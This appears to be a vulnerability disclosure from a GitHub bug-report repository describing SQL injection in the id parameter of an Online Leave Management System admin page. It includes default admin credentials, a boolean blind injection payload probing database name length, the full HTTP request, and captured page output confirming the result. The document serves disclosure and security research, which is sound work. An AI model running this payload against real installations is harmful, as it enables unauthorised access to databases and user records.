

main

...

bug_report / vendors / oretnom23 / online-leave-management-system / SQLi-1.md



debug601 Create SQLi-1.md

History

1 contributor

37 lines (24 sloc) | 1.26 KB

...

Online Leave Management System v1.0 by oretnom23 has SQL injection

BUG_Author: SunQingYu

Login account: admin/admin123 (Super Admin account)

vendors: <https://www.sourcecodester.com/php/14910/online-leave-management-system-php-free-source-code.html>

The program is built using the xampp-php8.1 version

Vulnerability File: /leave_system/admin/?page=user/manage_user&id=

Vulnerability location: /leave_system/admin/?page=user/manage_user&id=,id

dbname=leave_db,length=8

[+] Payload: /leave_system/admin/?

page=user/manage_user&id=12%27%20and%20length(database())%20=9--+ // Leak place ---> id

GET /leave_system/admin/?page=user/manage_user&id=12%27%20and%20length(database())%20=9--+
Host: 192.168.1.19

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=a58hbbkeelngug4ek0dssb0rb5
Connection: close



length=8

SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING HTML ENCRYPTIC

Load URL Split URL Execute

Post data Referrer 0xHEX %URL BASE64 Insert string to replace Insert r

OLMS - PHP Online Leave Management System - PHP - Admin

Dashboard Employees List Application List Department List Designation List Leave Type List User List

First Name
1

Last Name
1

Username
1

length=9

SQL BASICS UNION BASED ERROR/DOUBLE QUERY TOOLS WAF BYPASS ENCODING HTML ENCRYPTIC

Load URL Split URL Execute

Post data Referrer 0xHEX %URL BASE64 Insert string to replace Insert r

OLMS - PHP Online Leave Management System - PHP - Admin

Dashboard Employees List Application List Department List Designation List Leave Type List User List Reports Settings

Warning: foreach() argument must be of type array/object, null given in C:\xampp\htdocs\leave_system\admin\user\manage_user.php on line 5

First Name

Last Name

Username

Password